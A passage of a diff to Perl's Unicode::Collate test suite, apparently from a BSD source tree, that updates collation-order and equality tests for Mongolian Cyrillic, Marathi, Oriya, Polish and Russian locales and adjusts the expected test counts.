+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objMnCyrl = Unicode::Collate::Locale->
+ new(locale => 'MN-CYRL', normalization => undef);
+
+ok($objMnCyrl->getlocale, 'default');
+
+$objMnCyrl->change(level => 1);
+
+ok($objMnCyrl->lt("\x{430}z", "\x{431}"));
+ok($objMnCyrl->lt("\x{431}z", "\x{432}"));
+ok($objMnCyrl->lt("\x{432}z", "\x{433}"));
+ok($objMnCyrl->lt("\x{433}z", "\x{434}"));
+ok($objMnCyrl->lt("\x{434}z", "\x{435}"));
+ok($objMnCyrl->lt("\x{435}z", "\x{436}"));
+ok($objMnCyrl->lt("\x{436}z", "\x{437}"));
+ok($objMnCyrl->lt("\x{437}z", "\x{438}"));
+ok($objMnCyrl->lt("\x{438}z", "\x{439}"));
+ok($objMnCyrl->lt("\x{439}z", "\x{43a}"));
+ok($objMnCyrl->lt("\x{43a}z", "\x{43b}"));
+ok($objMnCyrl->lt("\x{43b}z", "\x{43c}"));
+ok($objMnCyrl->lt("\x{43c}z", "\x{43d}"));
+ok($objMnCyrl->lt("\x{43d}z", "\x{43e}"));
+ok($objMnCyrl->lt("\x{43e}z", "\x{4e9}"));
+ok($objMnCyrl->lt("\x{4e9}z", "\x{43f}"));
+ok($objMnCyrl->lt("\x{43f}z", "\x{440}"));
+ok($objMnCyrl->lt("\x{440}z", "\x{441}"));
+ok($objMnCyrl->lt("\x{441}z", "\x{442}"));
+ok($objMnCyrl->lt("\x{442}z", "\x{443}"));
+ok($objMnCyrl->lt("\x{443}z", "\x{4af}"));
+ok($objMnCyrl->lt("\x{4af}z", "\x{444}"));
+ok($objMnCyrl->lt("\x{444}z", "\x{445}"));
+ok($objMnCyrl->lt("\x{445}z", "\x{446}"));
+ok($objMnCyrl->lt("\x{446}z", "\x{447}"));
+ok($objMnCyrl->lt("\x{447}z", "\x{448}"));
+ok($objMnCyrl->lt("\x{448}z", "\x{449}"));
+ok($objMnCyrl->lt("\x{449}z", "\x{44a}"));
+ok($objMnCyrl->lt("\x{44a}z", "\x{44b}"));
+ok($objMnCyrl->lt("\x{44b}z", "\x{44c}"));
+ok($objMnCyrl->lt("\x{44c}z", "\x{44d}"));
+ok($objMnCyrl->lt("\x{44d}z", "\x{44e}"));
+ok($objMnCyrl->lt("\x{44e}z", "\x{44f}"));
+
+ok($objMnCyrl->lt("\x{410}z", "\x{411}"));
+ok($objMnCyrl->lt("\x{411}z", "\x{412}"));
+ok($objMnCyrl->lt("\x{412}z", "\x{413}"));
+ok($objMnCyrl->lt("\x{413}z", "\x{414}"));
+ok($objMnCyrl->lt("\x{414}z", "\x{415}"));
+ok($objMnCyrl->lt("\x{415}z", "\x{416}"));
+ok($objMnCyrl->lt("\x{416}z", "\x{417}"));
+ok($objMnCyrl->lt("\x{417}z", "\x{418}"));
+ok($objMnCyrl->lt("\x{418}z", "\x{419}"));
+ok($objMnCyrl->lt("\x{419}z", "\x{41a}"));
+ok($objMnCyrl->lt("\x{41a}z", "\x{41b}"));
+ok($objMnCyrl->lt("\x{41b}z", "\x{41c}"));
+ok($objMnCyrl->lt("\x{41c}z", "\x{41d}"));
+ok($objMnCyrl->lt("\x{41d}z", "\x{41e}"));
+ok($objMnCyrl->lt("\x{41e}z", "\x{4e8}"));
+ok($objMnCyrl->lt("\x{4e8}z", "\x{41f}"));
+ok($objMnCyrl->lt("\x{41f}z", "\x{420}"));
+ok($objMnCyrl->lt("\x{420}z", "\x{421}"));
+ok($objMnCyrl->lt("\x{421}z", "\x{422}"));
+ok($objMnCyrl->lt("\x{422}z", "\x{423}"));
+ok($objMnCyrl->lt("\x{423}z", "\x{4ae}"));
+ok($objMnCyrl->lt("\x{4ae}z", "\x{424}"));
+ok($objMnCyrl->lt("\x{424}z", "\x{425}"));
+ok($objMnCyrl->lt("\x{425}z", "\x{426}"));
+ok($objMnCyrl->lt("\x{426}z", "\x{427}"));
+ok($objMnCyrl->lt("\x{427}z", "\x{428}"));
+ok($objMnCyrl->lt("\x{428}z", "\x{429}"));
+ok($objMnCyrl->lt("\x{429}z", "\x{42a}"));
+ok($objMnCyrl->lt("\x{42a}z", "\x{42b}"));
+ok($objMnCyrl->lt("\x{42b}z", "\x{42c}"));
+ok($objMnCyrl->lt("\x{42c}z", "\x{42d}"));
+ok($objMnCyrl->lt("\x{42d}z", "\x{42e}"));
+ok($objMnCyrl->lt("\x{42e}z", "\x{42f}"));
+
+# 68
+
+ok($objMnCyrl->eq("\x{435}", "\x{451}"));
+ok($objMnCyrl->eq("\x{415}", "\x{401}"));
+
+# 70
+
+$objMnCyrl->change(level => 2);
+
+ok($objMnCyrl->lt("\x{435}", "\x{451}"));
+ok($objMnCyrl->lt("\x{415}", "\x{401}"));
+
+# 72
+
+ok($objMnCyrl->eq("\x{430}", "\x{410}"));
+ok($objMnCyrl->eq("\x{431}", "\x{411}"));
+ok($objMnCyrl->eq("\x{432}", "\x{412}"));
+ok($objMnCyrl->eq("\x{433}", "\x{413}"));
+ok($objMnCyrl->eq("\x{434}", "\x{414}"));
+ok($objMnCyrl->eq("\x{435}", "\x{415}"));
+ok($objMnCyrl->eq("\x{451}", "\x{401}"));
+ok($objMnCyrl->eq("\x{436}", "\x{416}"));
+ok($objMnCyrl->eq("\x{437}", "\x{417}"));
+ok($objMnCyrl->eq("\x{438}", "\x{418}"));
+ok($objMnCyrl->eq("\x{439}", "\x{419}"));
+ok($objMnCyrl->eq("\x{43a}", "\x{41a}"));
+ok($objMnCyrl->eq("\x{43b}", "\x{41b}"));
+ok($objMnCyrl->eq("\x{43c}", "\x{41c}"));
+ok($objMnCyrl->eq("\x{43d}", "\x{41d}"));
+ok($objMnCyrl->eq("\x{43e}", "\x{41e}"));
+ok($objMnCyrl->eq("\x{4e9}", "\x{4e8}"));
+ok($objMnCyrl->eq("\x{43f}", "\x{41f}"));
+ok($objMnCyrl->eq("\x{440}", "\x{420}"));
+ok($objMnCyrl->eq("\x{441}", "\x{421}"));
+ok($objMnCyrl->eq("\x{442}", "\x{422}"));
+ok($objMnCyrl->eq("\x{443}", "\x{423}"));
+ok($objMnCyrl->eq("\x{4af}", "\x{4ae}"));
+ok($objMnCyrl->eq("\x{444}", "\x{424}"));
+ok($objMnCyrl->eq("\x{445}", "\x{425}"));
+ok($objMnCyrl->eq("\x{446}", "\x{426}"));
+ok($objMnCyrl->eq("\x{447}", "\x{427}"));
+ok($objMnCyrl->eq("\x{448}", "\x{428}"));
+ok($objMnCyrl->eq("\x{449}", "\x{429}"));
+ok($objMnCyrl->eq("\x{44a}", "\x{42a}"));
+ok($objMnCyrl->eq("\x{44b}", "\x{42b}"));
+ok($objMnCyrl->eq("\x{44c}", "\x{42c}"));
+ok($objMnCyrl->eq("\x{44d}", "\x{42d}"));
+ok($objMnCyrl->eq("\x{44e}", "\x{42e}"));
+ok($objMnCyrl->eq("\x{44f}", "\x{42f}"));
+
+# 107
+
+$objMnCyrl->change(level => 3);
+
+ok($objMnCyrl->lt("\x{430}", "\x{410}"));
+ok($objMnCyrl->lt("\x{431}", "\x{411}"));
+ok($objMnCyrl->lt("\x{432}", "\x{412}"));
+ok($objMnCyrl->lt("\x{433}", "\x{413}"));
+ok($objMnCyrl->lt("\x{434}", "\x{414}"));
+ok($objMnCyrl->lt("\x{435}", "\x{415}"));
+ok($objMnCyrl->lt("\x{451}", "\x{401}"));
+ok($objMnCyrl->lt("\x{436}", "\x{416}"));
+ok($objMnCyrl->lt("\x{437}", "\x{417}"));
+ok($objMnCyrl->lt("\x{438}", "\x{418}"));
+ok($objMnCyrl->lt("\x{439}", "\x{419}"));
+ok($objMnCyrl->lt("\x{43a}", "\x{41a}"));
+ok($objMnCyrl->lt("\x{43b}", "\x{41b}"));
+ok($objMnCyrl->lt("\x{43c}", "\x{41c}"));
+ok($objMnCyrl->lt("\x{43d}", "\x{41d}"));
+ok($objMnCyrl->lt("\x{43e}", "\x{41e}"));
+ok($objMnCyrl->lt("\x{4e9}", "\x{4e8}"));
+ok($objMnCyrl->lt("\x{43f}", "\x{41f}"));
+ok($objMnCyrl->lt("\x{440}", "\x{420}"));
+ok($objMnCyrl->lt("\x{441}", "\x{421}"));
+ok($objMnCyrl->lt("\x{442}", "\x{422}"));
+ok($objMnCyrl->lt("\x{443}", "\x{423}"));
+ok($objMnCyrl->lt("\x{4af}", "\x{4ae}"));
+ok($objMnCyrl->lt("\x{444}", "\x{424}"));
+ok($objMnCyrl->lt("\x{445}", "\x{425}"));
+ok($objMnCyrl->lt("\x{446}", "\x{426}"));
+ok($objMnCyrl->lt("\x{447}", "\x{427}"));
+ok($objMnCyrl->lt("\x{448}", "\x{428}"));
+ok($objMnCyrl->lt("\x{449}", "\x{429}"));
+ok($objMnCyrl->lt("\x{44a}", "\x{42a}"));
+ok($objMnCyrl->lt("\x{44b}", "\x{42b}"));
+ok($objMnCyrl->lt("\x{44c}", "\x{42c}"));
+ok($objMnCyrl->lt("\x{44d}", "\x{42d}"));
+ok($objMnCyrl->lt("\x{44e}", "\x{42e}"));
+ok($objMnCyrl->lt("\x{44f}", "\x{42f}"));
+
+# 142
+
+ok($objMnCyrl->eq("\x{451}", "\x{435}\x{308}"));
+ok($objMnCyrl->eq("\x{401}", "\x{415}\x{308}"));
+ok($objMnCyrl->eq("\x{439}", "\x{438}\x{306}"));
+ok($objMnCyrl->eq("\x{419}", "\x{418}\x{306}"));
+
+# 146
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mr.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mr.t
index 0761fe84591..7b5141f7387 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mr.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mr.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..23\n"; }
+BEGIN { $| = 1; print "1..25\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -56,11 +56,11 @@ ok($objMr->eq("\x{933}", "\x{934}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objMr->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objMr->lt("\x{950}$t", "\x{902}"));
ok($objMr->lt("\x{902}$t", "\x{903}"));
+ ok($objMr->lt("\x{903}$t", "\x{A8FD}"));
ok($objMr->lt("\x{903}$t", "\x{972}"));
ok($objMr->lt("\x{938}$t", "\x{939}"));
@@ -70,4 +70,4 @@ for my $h (0, 1) {
ok($objMr->lt("\x{91C}\x{94D}\x{91E}$t", "\x{93D}"));
}
-# 23
+# 25
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_or.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_or.t
index 4fffaef1512..37fba06d89e 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_or.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_or.t
@@ -50,8 +50,7 @@ ok($objOr->eq("\x{B2F}", "\x{B5F}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objOr->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objOr->lt("\x{B13}$t", "\x{B14}"));
ok($objOr->lt("\x{B14}$t", "\x{B01}"));
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_pl.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_pl.t
index 5797b7d75d7..6f135c5ced3 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_pl.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_pl.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..65\n"; }
+BEGIN { $| = 1; print "1..73\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -41,24 +41,32 @@ ok($objPl->getlocale, 'pl');
$objPl->change(level => 1);
ok($objPl->lt("a", "a\x{328}"));
+ok($objPl->lt("az","a\x{328}"));
ok($objPl->gt("b", "a\x{328}"));
ok($objPl->lt("c", "c\x{301}"));
+ok($objPl->lt("cz","c\x{301}"));
ok($objPl->gt("d", "c\x{301}"));
ok($objPl->lt("e", "e\x{328}"));
+ok($objPl->lt("ez","e\x{328}"));
ok($objPl->gt("f", "e\x{328}"));
ok($objPl->lt("l", "l\x{335}"));
+ok($objPl->lt("lz","l\x{335}"));
ok($objPl->gt("m", "l\x{335}"));
ok($objPl->lt("n", "n\x{301}"));
+ok($objPl->lt("nz","n\x{301}"));
ok($objPl->gt("o", "n\x{301}"));
ok($objPl->lt("o", "o\x{301}"));
+ok($objPl->lt("oz","o\x{301}"));
ok($objPl->gt("p", "o\x{301}"));
ok($objPl->lt("s", "s\x{301}"));
+ok($objPl->lt("sz","s\x{301}"));
ok($objPl->gt("t", "s\x{301}"));
ok($objPl->lt("z", "z\x{301}"));
+ok($objPl->lt("zz","z\x{301}"));
ok($objPl->lt("z\x{301}", "z\x{307}"));
ok($objPl->lt("z\x{307}", "\x{292}")); # U+0292 EZH
-# 19
+# 27
$objPl->change(level => 2);
@@ -72,7 +80,7 @@ ok($objPl->eq("s\x{301}", "S\x{301}"));
ok($objPl->eq("z\x{301}", "Z\x{301}"));
ok($objPl->eq("z\x{307}", "Z\x{307}"));
-# 28
+# 36
$objPl->change(level => 3);
@@ -86,7 +94,7 @@ ok($objPl->lt("s\x{301}", "S\x{301}"));
ok($objPl->lt("z\x{301}", "Z\x{301}"));
ok($objPl->lt("z\x{307}", "Z\x{307}"));
-# 37
+# 45
ok($objPl->eq("a\x{328}", "\x{105}"));
ok($objPl->eq("A\x{328}", "\x{104}"));
@@ -117,4 +125,4 @@ ok($objPl->eq("Z\x{341}", "\x{179}"));
ok($objPl->eq("z\x{307}", "\x{17C}"));
ok($objPl->eq("Z\x{307}", "\x{17B}"));
-# 65
+# 73
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ru.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ru.t
index fb7f3f4b4f9..2e332ab6315 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ru.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ru.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..202\n"; }
+BEGIN { $| = 1; print "1..138\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -36,179 +36,165 @@ ok(1);
my $objRu = Unicode::Collate::Locale->
new(locale => 'RU', normalization => undef);
-ok($objRu->getlocale, 'ru');
+ok($objRu->getlocale, 'default'); # no tailoring since 1.17
$objRu->change(level => 1);
-ok($objRu->gt("\x{4E5}", "\x{438}")); # not suppressed
-ok($objRu->gt("\x{4E4}", "\x{418}")); # not suppressed
-ok($objRu->gt("\x{439}", "\x{438}")); # not suppressed
-ok($objRu->gt("\x{419}", "\x{418}")); # not suppressed
-
-# 6
-
-ok($objRu->eq("\x{4D1}", "\x{430}"));
-ok($objRu->eq("\x{4D0}", "\x{410}"));
-ok($objRu->eq("\x{4D3}", "\x{430}"));
-ok($objRu->eq("\x{4D2}", "\x{410}"));
-ok($objRu->eq("\x{4DB}", "\x{4D9}"));
-ok($objRu->eq("\x{4DA}", "\x{4D8}"));
-ok($objRu->eq("\x{453}", "\x{433}"));
-ok($objRu->eq("\x{403}", "\x{413}"));
-ok($objRu->eq("\x{450}", "\x{435}")); # not contraction
-ok($objRu->eq("\x{400}", "\x{415}")); # not contraction
-ok($objRu->eq("\x{451}", "\x{435}")); # not contraction
-ok($objRu->eq("\x{401}", "\x{415}")); # not contraction
-ok($objRu->eq("\x{4D7}", "\x{435}"));
-ok($objRu->eq("\x{4D6}", "\x{415}"));
-ok($objRu->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objRu->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objRu->eq("\x{4DD}", "\x{436}"));
-ok($objRu->eq("\x{4DC}", "\x{416}"));
-ok($objRu->eq("\x{4DF}", "\x{437}"));
-ok($objRu->eq("\x{4DE}", "\x{417}"));
-ok($objRu->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objRu->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objRu->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objRu->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objRu->eq("\x{457}", "\x{456}"));
-ok($objRu->eq("\x{407}", "\x{406}"));
-ok($objRu->eq("\x{4E7}", "\x{43E}"));
-ok($objRu->eq("\x{4E6}", "\x{41E}"));
-ok($objRu->eq("\x{4EB}", "\x{4E9}"));
-ok($objRu->eq("\x{4EA}", "\x{4E8}"));
-ok($objRu->eq("\x{45C}", "\x{43A}"));
-ok($objRu->eq("\x{40C}", "\x{41A}"));
-ok($objRu->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objRu->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objRu->eq("\x{45E}", "\x{443}"));
-ok($objRu->eq("\x{40E}", "\x{423}"));
-ok($objRu->eq("\x{4F1}", "\x{443}"));
-ok($objRu->eq("\x{4F0}", "\x{423}"));
-ok($objRu->eq("\x{4F3}", "\x{443}"));
-ok($objRu->eq("\x{4F2}", "\x{423}"));
-ok($objRu->eq("\x{4F5}", "\x{447}"));
-ok($objRu->eq("\x{4F4}", "\x{427}"));
-ok($objRu->eq("\x{4F9}", "\x{44B}"));
-ok($objRu->eq("\x{4F8}", "\x{42B}"));
-ok($objRu->eq("\x{4ED}", "\x{44D}"));
-ok($objRu->eq("\x{4EC}", "\x{42D}"));
-ok($objRu->eq("\x{477}", "\x{475}"));
-ok($objRu->eq("\x{476}", "\x{474}"));
-
-# 54
+ok($objRu->lt("\x{430}z", "\x{431}"));
+ok($objRu->lt("\x{431}z", "\x{432}"));
+ok($objRu->lt("\x{432}z", "\x{433}"));
+ok($objRu->lt("\x{433}z", "\x{434}"));
+ok($objRu->lt("\x{434}z", "\x{435}"));
+ok($objRu->lt("\x{435}z", "\x{436}"));
+ok($objRu->lt("\x{436}z", "\x{437}"));
+ok($objRu->lt("\x{437}z", "\x{438}"));
+ok($objRu->lt("\x{438}z", "\x{439}"));
+ok($objRu->lt("\x{439}z", "\x{43a}"));
+ok($objRu->lt("\x{43a}z", "\x{43b}"));
+ok($objRu->lt("\x{43b}z", "\x{43c}"));
+ok($objRu->lt("\x{43c}z", "\x{43d}"));
+ok($objRu->lt("\x{43d}z", "\x{43e}"));
+ok($objRu->lt("\x{43e}z", "\x{43f}"));
+ok($objRu->lt("\x{43f}z", "\x{440}"));
+ok($objRu->lt("\x{440}z", "\x{441}"));
+ok($objRu->lt("\x{441}z", "\x{442}"));
+ok($objRu->lt("\x{442}z", "\x{443}"));
+ok($objRu->lt("\x{443}z", "\x{444}"));
+ok($objRu->lt("\x{444}z", "\x{445}"));
+ok($objRu->lt("\x{445}z", "\x{446}"));
+ok($objRu->lt("\x{446}z", "\x{447}"));
+ok($objRu->lt("\x{447}z", "\x{448}"));
+ok($objRu->lt("\x{448}z", "\x{449}"));
+ok($objRu->lt("\x{449}z", "\x{44a}"));
+ok($objRu->lt("\x{44a}z", "\x{44b}"));
+ok($objRu->lt("\x{44b}z", "\x{44c}"));
+ok($objRu->lt("\x{44c}z", "\x{44d}"));
+ok($objRu->lt("\x{44d}z", "\x{44e}"));
+ok($objRu->lt("\x{44e}z", "\x{44f}"));
+
+ok($objRu->lt("\x{410}z", "\x{411}"));
+ok($objRu->lt("\x{411}z", "\x{412}"));
+ok($objRu->lt("\x{412}z", "\x{413}"));
+ok($objRu->lt("\x{413}z", "\x{414}"));
+ok($objRu->lt("\x{414}z", "\x{415}"));
+ok($objRu->lt("\x{415}z", "\x{416}"));
+ok($objRu->lt("\x{416}z", "\x{417}"));
+ok($objRu->lt("\x{417}z", "\x{418}"));
+ok($objRu->lt("\x{418}z", "\x{419}"));
+ok($objRu->lt("\x{419}z", "\x{41a}"));
+ok($objRu->lt("\x{41a}z", "\x{41b}"));
+ok($objRu->lt("\x{41b}z", "\x{41c}"));
+ok($objRu->lt("\x{41c}z", "\x{41d}"));
+ok($objRu->lt("\x{41d}z", "\x{41e}"));
+ok($objRu->lt("\x{41e}z", "\x{41f}"));
+ok($objRu->lt("\x{41f}z", "\x{420}"));
+ok($objRu->lt("\x{420}z", "\x{421}"));
+ok($objRu->lt("\x{421}z", "\x{422}"));
+ok($objRu->lt("\x{422}z", "\x{423}"));
+ok($objRu->lt("\x{423}z", "\x{424}"));
+ok($objRu->lt("\x{424}z", "\x{425}"));
+ok($objRu->lt("\x{425}z", "\x{426}"));
+ok($objRu->lt("\x{426}z", "\x{427}"));
+ok($objRu->lt("\x{427}z", "\x{428}"));
+ok($objRu->lt("\x{428}z", "\x{429}"));
+ok($objRu->lt("\x{429}z", "\x{42a}"));
+ok($objRu->lt("\x{42a}z", "\x{42b}"));
+ok($objRu->lt("\x{42b}z", "\x{42c}"));
+ok($objRu->lt("\x{42c}z", "\x{42d}"));
+ok($objRu->lt("\x{42d}z", "\x{42e}"));
+ok($objRu->lt("\x{42e}z", "\x{42f}"));
+
+# 64
+
+ok($objRu->eq("\x{435}", "\x{451}"));
+ok($objRu->eq("\x{415}", "\x{401}"));
+
+# 66
$objRu->change(level => 2);
-ok($objRu->gt("\x{4D1}", "\x{430}"));
-ok($objRu->gt("\x{4D0}", "\x{410}"));
-ok($objRu->gt("\x{4D3}", "\x{430}"));
-ok($objRu->gt("\x{4D2}", "\x{410}"));
-ok($objRu->gt("\x{4DB}", "\x{4D9}"));
-ok($objRu->gt("\x{4DA}", "\x{4D8}"));
-ok($objRu->gt("\x{453}", "\x{433}"));
-ok($objRu->gt("\x{403}", "\x{413}"));
-ok($objRu->gt("\x{450}", "\x{435}")); # not contraction
-ok($objRu->gt("\x{400}", "\x{415}")); # not contraction
-ok($objRu->gt("\x{451}", "\x{435}")); # not contraction
-ok($objRu->gt("\x{401}", "\x{415}")); # not contraction
-ok($objRu->gt("\x{4D7}", "\x{435}"));
-ok($objRu->gt("\x{4D6}", "\x{415}"));
-ok($objRu->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objRu->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objRu->gt("\x{4DD}", "\x{436}"));
-ok($objRu->gt("\x{4DC}", "\x{416}"));
-ok($objRu->gt("\x{4DF}", "\x{437}"));
-ok($objRu->gt("\x{4DE}", "\x{417}"));
-ok($objRu->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objRu->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objRu->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objRu->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objRu->gt("\x{457}", "\x{456}"));
-ok($objRu->gt("\x{407}", "\x{406}"));
-ok($objRu->gt("\x{4E7}", "\x{43E}"));
-ok($objRu->gt("\x{4E6}", "\x{41E}"));
-ok($objRu->gt("\x{4EB}", "\x{4E9}"));
-ok($objRu->gt("\x{4EA}", "\x{4E8}"));
-ok($objRu->gt("\x{45C}", "\x{43A}"));
-ok($objRu->gt("\x{40C}", "\x{41A}"));
-ok($objRu->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objRu->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objRu->gt("\x{45E}", "\x{443}"));
-ok($objRu->gt("\x{40E}", "\x{423}"));
-ok($objRu->gt("\x{4F1}", "\x{443}"));
-ok($objRu->gt("\x{4F0}", "\x{423}"));
-ok($objRu->gt("\x{4F3}", "\x{443}"));
-ok($objRu->gt("\x{4F2}", "\x{423}"));
-ok($objRu->gt("\x{4F5}", "\x{447}"));
-ok($objRu->gt("\x{4F4}", "\x{427}"));
-ok($objRu->gt("\x{4F9}", "\x{44B}"));
-ok($objRu->gt("\x{4F8}", "\x{42B}"));
-ok($objRu->gt("\x{4ED}", "\x{44D}"));
-ok($objRu->gt("\x{4EC}", "\x{42D}"));
-ok($objRu->gt("\x{477}", "\x{475}"));
-ok($objRu->gt("\x{476}", "\x{474}"));
-
-# 102
+ok($objRu->lt("\x{435}", "\x{451}"));
+ok($objRu->lt("\x{415}", "\x{401}"));
+
+# 68
+
+ok($objRu->eq("\x{430}", "\x{410}"));
+ok($objRu->eq("\x{431}", "\x{411}"));
+ok($objRu->eq("\x{432}", "\x{412}"));
+ok($objRu->eq("\x{433}", "\x{413}"));
+ok($objRu->eq("\x{434}", "\x{414}"));
+ok($objRu->eq("\x{435}", "\x{415}"));
+ok($objRu->eq("\x{451}", "\x{401}"));
+ok($objRu->eq("\x{436}", "\x{416}"));
+ok($objRu->eq("\x{437}", "\x{417}"));
+ok($objRu->eq("\x{438}", "\x{418}"));
+ok($objRu->eq("\x{439}", "\x{419}"));
+ok($objRu->eq("\x{43a}", "\x{41a}"));
+ok($objRu->eq("\x{43b}", "\x{41b}"));
+ok($objRu->eq("\x{43c}", "\x{41c}"));
+ok($objRu->eq("\x{43d}", "\x{41d}"));
+ok($objRu->eq("\x{43e}", "\x{41e}"));
+ok($objRu->eq("\x{43f}", "\x{41f}"));
+ok($objRu->eq("\x{440}", "\x{420}"));
+ok($objRu->eq("\x{441}", "\x{421}"));
+ok($objRu->eq("\x{442}", "\x{422}"));
+ok($objRu->eq("\x{443}", "\x{423}"));
+ok($objRu->eq("\x{444}", "\x{424}"));
+ok($objRu->eq("\x{445}", "\x{425}"));
+ok($objRu->eq("\x{446}", "\x{426}"));
+ok($objRu->eq("\x{447}", "\x{427}"));
+ok($objRu->eq("\x{448}", "\x{428}"));
+ok($objRu->eq("\x{449}", "\x{429}"));
+ok($objRu->eq("\x{44a}", "\x{42a}"));
+ok($objRu->eq("\x{44b}", "\x{42b}"));
+ok($objRu->eq("\x{44c}", "\x{42c}"));
+ok($objRu->eq("\x{44d}", "\x{42d}"));
+ok($objRu->eq("\x{44e}", "\x{42e}"));
+ok($objRu->eq("\x{44f}", "\x{42f}"));
+
+# 101
$objRu->change(level => 3);
-ok($objRu->eq("\x{4E5}", "\x{438}\x{308}")); # not suppressed
-ok($objRu->eq("\x{4E4}", "\x{418}\x{308}")); # not suppressed
-ok($objRu->eq("\x{439}", "\x{438}\x{306}")); # not suppressed
-ok($objRu->eq("\x{419}", "\x{418}\x{306}")); # not suppressed
-
-# 106
-
-for my $i ("", "\0") {
- ok($objRu->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objRu->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objRu->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objRu->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objRu->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objRu->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objRu->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objRu->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objRu->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objRu->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objRu->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objRu->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objRu->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objRu->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objRu->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objRu->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objRu->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objRu->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objRu->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objRu->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objRu->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objRu->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objRu->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objRu->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objRu->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objRu->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objRu->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objRu->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objRu->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objRu->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objRu->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objRu->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objRu->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objRu->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objRu->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objRu->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objRu->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objRu->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objRu->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objRu->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objRu->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objRu->eq("\x{4F4}", "\x{427}$i\x{308}"));
